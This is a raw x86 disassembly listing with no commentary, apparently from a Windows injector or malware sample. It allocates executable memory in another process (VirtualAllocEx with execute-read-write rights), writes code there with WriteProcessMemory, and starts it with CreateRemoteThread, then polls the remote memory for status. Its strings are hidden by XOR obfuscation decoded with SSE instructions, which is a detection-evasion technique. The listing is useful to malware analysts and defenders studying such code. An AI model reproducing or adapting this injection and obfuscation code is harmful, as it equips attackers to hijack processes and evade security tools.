add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1288]
call fcn.0040ce00
nop
push 0x8000
push 0
mov eax, dword [ebp - 0x2d0]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x2d8]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
push 0x40
push 0x3000
push 0x1000
push 0
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jne 0x4042a3
xor edx, edx
mov byte [ebp - 0x2eb], dl
xor eax, eax
mov byte [ebp - 0x2ec], al
mov cl, byte [ebp - 0x2eb]
mov byte [ebp - 0x3f0], cl
mov dl, byte [ebp - 0x2ec]
mov byte [ebp - 0x3ec], dl
mov eax, 0xb29de527
mov dword [ebp - 0x658], 0xb817840
mov dword [ebp - 0x654], eax
mov ecx, dword [ebp - 0x658]
mov edx, dword [ebp - 0x654]
mov dword [ebp - 0x660], ecx
mov dword [ebp - 0x65c], edx
mov eax, dword [ebp - 0x660]
mov ecx, dword [ebp - 0x65c]
mov dword [ebp - 0xa30], eax
mov dword [ebp - 0xa2c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x668], 0x1bede69a
mov dword [ebp - 0x664], edx
mov eax, dword [ebp - 0x668]
mov ecx, dword [ebp - 0x664]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov edx, dword [ebp - 0x670]
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0xa28], edx
mov dword [ebp - 0xa24], eax
lea ecx, [ebp - 0xa30]
mov dword [ebp - 0x98c], ecx
mov edx, dword [ebp - 0x98c]
mov dword [ebp - 0x348], edx
mov eax, 0x82bec575
mov dword [ebp - 0x678], 0x44d32a05
mov dword [ebp - 0x674], eax
mov ecx, dword [ebp - 0x678]
mov edx, dword [ebp - 0x674]
mov dword [ebp - 0x680], ecx
mov dword [ebp - 0x67c], edx
mov eax, dword [ebp - 0x680]
mov ecx, dword [ebp - 0x67c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x688], 0x1bede6a2
mov dword [ebp - 0x684], edx
mov eax, dword [ebp - 0x688]
mov ecx, dword [ebp - 0x684]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov edx, dword [ebp - 0x690]
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], eax
xor ecx, ecx
je 0x404190
jmp 0x4041d3
movaps xmm0, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0xc50], xmm0
mov edx, dword [ebp - 0x348]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xc40], xmm0
movaps xmm0, xmmword [ebp - 0xc40]
xorps xmm0, xmmword [ebp - 0xc50]
movaps xmmword [ebp - 0xc60], xmm0
movaps xmm0, xmmword [ebp - 0xc60]
mov eax, dword [ebp - 0x348]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x4041de
jmp 0x404225
movaps xmm0, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0xc80], xmm0
mov edx, dword [ebp - 0x348]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0xc70], xmm0
movaps xmm0, xmmword [ebp - 0xc70]
xorps xmm0, xmmword [ebp - 0xc80]
movaps xmmword [ebp - 0xc90], xmm0
movaps xmm0, xmmword [ebp - 0xc90]
mov eax, dword [ebp - 0x348]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x348]
mov dword [ebp - 0x990], ecx
mov edx, dword [ebp - 0x990]
push edx
lea ecx, [ebp - 0x12a0]
call fcn.0040c070
mov dword [ebp - 4], 7
lea eax, [ebp - 0x12a0]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12a0]
call fcn.0040ce00
nop
push 0x8000
push 0
mov ecx, dword [ebp - 0x2d0]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x2d8]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
push 0
push 0x1000
push 0x406200
mov edx, dword [ebp - 0x2dc]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40454d
xor ecx, ecx
mov byte [ebp - 0x2ed], cl
xor edx, edx
mov byte [ebp - 0x2ee], dl
mov al, byte [ebp - 0x2ed]
mov byte [ebp - 0x3e8], al
mov cl, byte [ebp - 0x2ee]
mov byte [ebp - 0x3e4], cl
mov edx, 0xb29de527
mov dword [ebp - 0x698], 0xb817840
mov dword [ebp - 0x694], edx
mov eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x694]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], ecx
mov edx, dword [ebp - 0x6a0]
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xa40], edx
mov dword [ebp - 0xa3c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x6a8], 0x1bede69b
mov dword [ebp - 0x6a4], ecx
mov edx, dword [ebp - 0x6a8]
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0x6b0], edx
mov dword [ebp - 0x6ac], eax
mov ecx, dword [ebp - 0x6b0]
mov edx, dword [ebp - 0x6ac]
mov dword [ebp - 0xa38], ecx
mov dword [ebp - 0xa34], edx
lea eax, [ebp - 0xa40]
mov dword [ebp - 0x994], eax
mov ecx, dword [ebp - 0x994]
mov dword [ebp - 0x34c], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x6b8], 0x44d32a05
mov dword [ebp - 0x6b4], edx
mov eax, dword [ebp - 0x6b8]
mov ecx, dword [ebp - 0x6b4]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], ecx
mov edx, dword [ebp - 0x6c0]
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x23c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x6c8], 0x1bede6a2
mov dword [ebp - 0x6c4], ecx
mov edx, dword [ebp - 0x6c8]
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x6d0], edx
mov dword [ebp - 0x6cc], eax
mov ecx, dword [ebp - 0x6d0]
mov edx, dword [ebp - 0x6cc]
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x234], edx
xor eax, eax
je 0x404422
jmp 0x404465
movaps xmm0, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0xcb0], xmm0
mov ecx, dword [ebp - 0x34c]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xca0], xmm0
movaps xmm0, xmmword [ebp - 0xca0]
xorps xmm0, xmmword [ebp - 0xcb0]
movaps xmmword [ebp - 0xcc0], xmm0
movaps xmm0, xmmword [ebp - 0xcc0]
mov edx, dword [ebp - 0x34c]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x404470
jmp 0x4044b7
movaps xmm0, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0xce0], xmm0
mov ecx, dword [ebp - 0x34c]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0xcd0], xmm0
movaps xmm0, xmmword [ebp - 0xcd0]
xorps xmm0, xmmword [ebp - 0xce0]
movaps xmmword [ebp - 0xcf0], xmm0
movaps xmm0, xmmword [ebp - 0xcf0]
mov edx, dword [ebp - 0x34c]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x998], eax
mov ecx, dword [ebp - 0x998]
push ecx
lea ecx, [ebp - 0x12b8]
call fcn.0040c070
mov dword [ebp - 4], 8
lea edx, [ebp - 0x12b8]
push edx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12b8]
call fcn.0040ce00
nop
push 0x8000
push 0
mov eax, dword [ebp - 0x2d0]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x2d8]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x2dc]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
push 0
push 0
mov eax, dword [ebp - 0x2d8]
push eax
mov ecx, dword [ebp - 0x2dc]
push ecx
push 0
push 0
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0
jne 0x404805
xor eax, eax
mov byte [ebp - 0x308], al
xor ecx, ecx
mov byte [ebp - 0x2ef], cl
mov dl, byte [ebp - 0x308]
mov byte [ebp - 0x3e0], dl
mov al, byte [ebp - 0x2ef]
mov byte [ebp - 0x3d8], al
mov ecx, 0xb39de527
mov dword [ebp - 0x6d8], 0xb817840
mov dword [ebp - 0x6d4], ecx
mov edx, dword [ebp - 0x6d8]
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x6e0], edx
mov dword [ebp - 0x6dc], eax
mov ecx, dword [ebp - 0x6e0]
mov edx, dword [ebp - 0x6dc]
mov dword [ebp - 0xa50], ecx
mov dword [ebp - 0xa4c], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x6e8], 0x1bede692
mov dword [ebp - 0x6e4], eax
mov ecx, dword [ebp - 0x6e8]
mov edx, dword [ebp - 0x6e4]
mov dword [ebp - 0x6f0], ecx
mov dword [ebp - 0x6ec], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6ec]
mov dword [ebp - 0xa48], eax
mov dword [ebp - 0xa44], ecx
lea edx, [ebp - 0xa50]
mov dword [ebp - 0x99c], edx
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0x350], eax
mov ecx, 0x82bec575
mov dword [ebp - 0x6f8], 0x44d32a05
mov dword [ebp - 0x6f4], ecx
mov edx, dword [ebp - 0x6f8]
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x700], edx
mov dword [ebp - 0x6fc], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x708], 0x1bede6a2
mov dword [ebp - 0x704], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x704]
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x70c], edx
mov eax, dword [ebp - 0x710]
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], ecx
xor edx, edx
je 0x4046da
jmp 0x40471d
movaps xmm0, xmmword [ebp - 0x220]
movaps xmmword [ebp - 0xd10], xmm0
mov eax, dword [ebp - 0x350]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xd00], xmm0
movaps xmm0, xmmword [ebp - 0xd00]
xorps xmm0, xmmword [ebp - 0xd10]
movaps xmmword [ebp - 0xd20], xmm0
movaps xmm0, xmmword [ebp - 0xd20]
mov ecx, dword [ebp - 0x350]
movups xmmword [ecx], xmm0
mov edx, 1
test edx, edx
je 0x404728
jmp 0x40476f
movaps xmm0, xmmword [ebp - 0x210]
movaps xmmword [ebp - 0xd40], xmm0
mov eax, dword [ebp - 0x350]
movups xmm0, xmmword [eax + 0x10]
movaps xmmword [ebp - 0xd30], xmm0
movaps xmm0, xmmword [ebp - 0xd30]
xorps xmm0, xmmword [ebp - 0xd40]
movaps xmmword [ebp - 0xd50], xmm0
movaps xmm0, xmmword [ebp - 0xd50]
mov ecx, dword [ebp - 0x350]
add ecx, 0x10
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x350]
mov dword [ebp - 0x9a0], edx
mov eax, dword [ebp - 0x9a0]
push eax
lea ecx, [ebp - 0x12d0]
call fcn.0040c070
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x12d0]
push ecx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12d0]
call fcn.0040ce00
nop
push 0x8000
push 0
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x2d8]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x2dc]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
mov edx, dword [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x364], 0
cmp dword [ebp - 0x364], 0
jne 0x404fd4
mov dword [ebp - 0x284], 0
lea eax, [ebp - 0x284]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
nop
cmp dword [ebp - 0x284], 0x103
je 0x404a92
xor edx, edx
mov byte [ebp - 0x2f0], dl
xor eax, eax
mov byte [ebp - 0x2f1], al
mov cl, byte [ebp - 0x2f0]
mov byte [ebp - 0x3d4], cl
mov dl, byte [ebp - 0x2f1]
mov byte [ebp - 0x3d0], dl
mov eax, 0xb39de527
mov dword [ebp - 0x718], 0xb817840
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x718]
mov edx, dword [ebp - 0x714]
mov dword [ebp - 0x720], ecx
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x71c]
mov dword [ebp - 0xa60], eax
mov dword [ebp - 0xa5c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x728], 0x1bede693
mov dword [ebp - 0x724], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x724]
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0xa58], edx
mov dword [ebp - 0xa54], eax
lea ecx, [ebp - 0xa60]
mov dword [ebp - 0x9a4], ecx
mov edx, dword [ebp - 0x9a4]
mov dword [ebp - 0x354], edx
mov eax, 0x82bec575
mov dword [ebp - 0x738], 0x44d32a05
mov dword [ebp - 0x734], eax
mov ecx, dword [ebp - 0x738]
mov edx, dword [ebp - 0x734]
mov dword [ebp - 0x740], ecx
mov dword [ebp - 0x73c], edx
mov eax, dword [ebp - 0x740]
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x748], 0x1bede6a2
mov dword [ebp - 0x744], edx
mov eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x744]
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], ecx
mov edx, dword [ebp - 0x750]
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x1f8], edx
mov dword [ebp - 0x1f4], eax
xor ecx, ecx
je 0x4049af
jmp 0x4049f2
movaps xmm0, xmmword [ebp - 0x200]
movaps xmmword [ebp - 0xd70], xmm0
mov edx, dword [ebp - 0x354]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xd60], xmm0
movaps xmm0, xmmword [ebp - 0xd60]
xorps xmm0, xmmword [ebp - 0xd70]
movaps xmmword [ebp - 0xd80], xmm0
movaps xmm0, xmmword [ebp - 0xd80]
mov eax, dword [ebp - 0x354]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x4049fd
jmp 0x404a44
movaps xmm0, xmmword [ebp - 0x1f0]
movaps xmmword [ebp - 0xda0], xmm0
mov edx, dword [ebp - 0x354]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0xd90], xmm0
movaps xmm0, xmmword [ebp - 0xd90]
xorps xmm0, xmmword [ebp - 0xda0]
movaps xmmword [ebp - 0xdb0], xmm0
movaps xmm0, xmmword [ebp - 0xdb0]
mov eax, dword [ebp - 0x354]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x440], ecx
mov edx, dword [ebp - 0x440]
push edx
lea ecx, [ebp - 0x12e8]
call fcn.0040c070
mov dword [ebp - 4], 0xa
lea eax, [ebp - 0x12e8]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12e8]
call fcn.0040ce00
nop
xor al, al
jmp 0x4061da
xor ecx, ecx
mov dword [ebp - 0x2c8], ecx
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x2b8], ecx
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x2b0], ecx
push 0
push 0x1c
lea edx, [ebp - 0x2c8]
push edx
mov eax, dword [ebp - 0x2d8]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x2bc]
mov dword [ebp - 0x364], edx
cmp dword [ebp - 0x364], 0x404040
jne 0x404d80
xor eax, eax
mov byte [ebp - 0x2f2], al
xor ecx, ecx
mov byte [ebp - 0x2f3], cl
mov dl, byte [ebp - 0x2f2]
mov byte [ebp - 0x3cc], dl
mov al, byte [ebp - 0x2f3]
mov byte [ebp - 0x3c8], al
mov ecx, 0xb39de527
mov dword [ebp - 0x758], 0xb817840
mov dword [ebp - 0x754], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x760], edx
mov dword [ebp - 0x75c], eax
mov ecx, dword [ebp - 0x760]
mov edx, dword [ebp - 0x75c]
mov dword [ebp - 0xa70], ecx
mov dword [ebp - 0xa6c], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x768], 0x1bede690
mov dword [ebp - 0x764], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x770], ecx
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x76c]
mov dword [ebp - 0xa68], eax
mov dword [ebp - 0xa64], ecx
lea edx, [ebp - 0xa70]
mov dword [ebp - 0x444], edx
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x358], eax
mov ecx, 0x82bec575
mov dword [ebp - 0x778], 0x44d32a05
mov dword [ebp - 0x774], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x780], edx
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x780]
mov edx, dword [ebp - 0x77c]
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1dc], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x788], 0x1bede6a2
mov dword [ebp - 0x784], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x790], ecx
mov dword [ebp - 0x78c], edx
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x78c]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
xor edx, edx
je 0x404c50
jmp 0x404c93
movaps xmm0, xmmword [ebp - 0x1e0]
movaps xmmword [ebp - 0xdd0], xmm0
mov eax, dword [ebp - 0x358]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xdc0], xmm0
movaps xmm0, xmmword [ebp - 0xdc0]
xorps xmm0, xmmword [ebp - 0xdd0]
movaps xmmword [ebp - 0xde0], xmm0
movaps xmm0, xmmword [ebp - 0xde0]
mov ecx, dword [ebp - 0x358]
movups xmmword [ecx], xmm0
mov edx, 1
test edx, edx
je 0x404c9e
jmp 0x404ce5
movaps xmm0, xmmword [ebp - 0x1d0]
movaps xmmword [ebp - 0xe00], xmm0
mov eax, dword [ebp - 0x358]
movups xmm0, xmmword [eax + 0x10]
movaps xmmword [ebp - 0xdf0], xmm0
movaps xmm0, xmmword [ebp - 0xdf0]
xorps xmm0, xmmword [ebp - 0xe00]
movaps xmmword [ebp - 0xe10], xmm0
movaps xmm0, xmmword [ebp - 0xe10]
mov ecx, dword [ebp - 0x358]
add ecx, 0x10
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x358]
mov dword [ebp - 0x448], edx
mov eax, dword [ebp - 0x448]
push eax
lea ecx, [ebp - 0x1300]
call fcn.0040c070
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x1300]
push ecx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1300]
call fcn.0040ce00
nop
push 0x8000
push 0
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x2d8]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x2dc]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x4061da
cmp dword [ebp - 0x364], 0x505050
jne 0x404fc6
xor edx, edx
mov byte [ebp - 0x2f4], dl
xor eax, eax
mov byte [ebp - 0x2f5], al
mov cl, byte [ebp - 0x2f4]
mov byte [ebp - 0x3c4], cl
mov dl, byte [ebp - 0x2f5]
mov byte [ebp - 0x3ac], dl
mov eax, 0xb39de527
mov dword [ebp - 0x798], 0xb817840
mov dword [ebp - 0x794], eax
mov ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x7a0], ecx
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x7a0]
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0xa80], eax
mov dword [ebp - 0xa7c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x7a8], 0x1bede691
mov dword [ebp - 0x7a4], edx
mov eax, dword [ebp - 0x7a8]
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], ecx
mov edx, dword [ebp - 0x7b0]
mov eax, dword [ebp - 0x7ac]
mov dword [ebp - 0xa78], edx
mov dword [ebp - 0xa74], eax
lea ecx, [ebp - 0xa80]
mov dword [ebp - 0x44c], ecx
mov edx, dword [ebp - 0x44c]
mov dword [ebp - 0x310], edx
mov eax, 0x82bec575
mov dword [ebp - 0x7b8], 0x44d32a05
mov dword [ebp - 0x7b4], eax
mov ecx, dword [ebp - 0x7b8]
mov edx, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c0], ecx
mov dword [ebp - 0x7bc], edx
mov eax, dword [ebp - 0x7c0]
mov ecx, dword [ebp - 0x7bc]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x7c8], 0x1bede6a2
mov dword [ebp - 0x7c4], edx
mov eax, dword [ebp - 0x7c8]
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x7cc], ecx
mov edx, dword [ebp - 0x7d0]
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x1b8], edx
mov dword [ebp - 0x1b4], eax
xor ecx, ecx
je 0x404eea
jmp 0x404f2d
movaps xmm0, xmmword [ebp - 0x1c0]
movaps xmmword [ebp - 0xe30], xmm0
mov edx, dword [ebp - 0x310]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xe20], xmm0
movaps xmm0, xmmword [ebp - 0xe20]
xorps xmm0, xmmword [ebp - 0xe30]
movaps xmmword [ebp - 0xe40], xmm0
movaps xmm0, xmmword [ebp - 0xe40]
mov eax, dword [ebp - 0x310]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x404f38
jmp 0x404f7f
movaps xmm0, xmmword [ebp - 0x1b0]
movaps xmmword [ebp - 0xe60], xmm0
mov edx, dword [ebp - 0x310]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0xe50], xmm0
movaps xmm0, xmmword [ebp - 0xe50]
xorps xmm0, xmmword [ebp - 0xe60]
movaps xmmword [ebp - 0xe70], xmm0
movaps xmm0, xmmword [ebp - 0xe70]
mov eax, dword [ebp - 0x310]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x310]
mov dword [ebp - 0x450], ecx
mov edx, dword [ebp - 0x450]
push edx
lea ecx, [ebp - 0x1318]
call fcn.0040c070
mov dword [ebp - 4], 0xc
lea eax, [ebp - 0x1318]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1318]
call fcn.0040ce00
nop
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x40481c
push 0x1400000
call fcn.00418ec7
add esp, 4
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
jne 0x405231
xor ecx, ecx
mov byte [ebp - 0x2f6], cl
xor edx, edx
mov byte [ebp - 0x2f7], dl
mov al, byte [ebp - 0x2f6]
mov byte [ebp - 0x398], al
mov cl, byte [ebp - 0x2f7]
mov byte [ebp - 0x394], cl
mov edx, 0xb39de527
mov dword [ebp - 0x7d8], 0xb817840
mov dword [ebp - 0x7d4], edx
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [ebp - 0x7d4]
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x7e0]
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0xa90], edx
mov dword [ebp - 0xa8c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x7e8], 0x1bede696
mov dword [ebp - 0x7e4], ecx
mov edx, dword [ebp - 0x7e8]
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x7f0], edx
mov dword [ebp - 0x7ec], eax
mov ecx, dword [ebp - 0x7f0]
mov edx, dword [ebp - 0x7ec]
mov dword [ebp - 0xa88], ecx
mov dword [ebp - 0xa84], edx
lea eax, [ebp - 0xa90]
mov dword [ebp - 0x454], eax
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x314], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x7f8], 0x44d32a05
mov dword [ebp - 0x7f4], edx
mov eax, dword [ebp - 0x7f8]
mov ecx, dword [ebp - 0x7f4]
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], ecx
mov edx, dword [ebp - 0x800]
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0x1a0], edx
mov dword [ebp - 0x19c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x808], 0x1bede6a2
mov dword [ebp - 0x804], ecx
mov edx, dword [ebp - 0x808]
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0x810], edx
mov dword [ebp - 0x80c], eax
mov ecx, dword [ebp - 0x810]
mov edx, dword [ebp - 0x80c]
mov dword [ebp - 0x198], ecx
mov dword [ebp - 0x194], edx
xor eax, eax
je 0x40514e
jmp 0x405191
movaps xmm0, xmmword [ebp - 0x1a0]
movaps xmmword [ebp - 0xe90], xmm0
mov ecx, dword [ebp - 0x314]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xe80], xmm0
movaps xmm0, xmmword [ebp - 0xe80]
xorps xmm0, xmmword [ebp - 0xe90]
movaps xmmword [ebp - 0xea0], xmm0
movaps xmm0, xmmword [ebp - 0xea0]
mov edx, dword [ebp - 0x314]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x40519c
jmp 0x4051e3
movaps xmm0, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0xec0], xmm0
mov ecx, dword [ebp - 0x314]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0xeb0], xmm0
movaps xmm0, xmmword [ebp - 0xeb0]
xorps xmm0, xmmword [ebp - 0xec0]
movaps xmmword [ebp - 0xed0], xmm0
movaps xmm0, xmmword [ebp - 0xed0]
mov edx, dword [ebp - 0x314]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x458], eax
mov ecx, dword [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x1330]
call fcn.0040c070
mov dword [ebp - 4], 0xd
lea edx, [ebp - 0x1330]
push edx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1330]
call fcn.0040ce00
nop
xor al, al
jmp 0x4061da
push 0x1400000
push 0
mov eax, dword [ebp - 0x324]
push eax
call fcn.00413f50
add esp, 0xc
movzx ecx, byte [ebx + 0x14]
test ecx, ecx
je 0x4054b0
push 0
push 0x1000
mov edx, dword [ebp - 0x324]
push edx
mov eax, dword [ebp - 0x2d0]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
